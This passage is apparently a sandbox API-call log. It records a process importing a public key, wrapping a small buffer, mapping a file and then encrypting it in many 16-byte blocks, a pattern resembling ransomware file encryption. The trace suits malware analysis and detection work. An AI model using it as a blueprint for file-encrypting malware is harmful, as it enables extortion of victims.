0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.162] GetTickCount () returned 0x1164dba [0148.162] GetTickCount () returned 0x1164dba [0148.162] GetTickCount () returned 0x1164dba [0148.162] GetTickCount () returned 0x1164dba [0148.162] GetTickCount () returned 0x1164dba [0148.162] GetTickCount () returned 0x1164dba [0148.162] GetTickCount () returned 0x1164dba [0148.162] GetTickCount () returned 0x1164dba [0148.164] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x16683d8) returned 1 [0148.165] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639628) returned 1 [0148.165] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0148.166] CryptDestroyKey (hKey=0x1639628) returned 1 [0148.166] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0148.166] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8bc, lpName=0x0) returned 0x388 [0148.167] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8bc) returned 0x1480000 [0148.167] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x16688a0) returned 1 [0148.168] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639628) returned 1 [0148.168] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.168] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.169] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.170] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.171] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.171] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.171] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.171] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.171] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.171] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.171] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.171] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.171] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.172] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.173] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.174] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 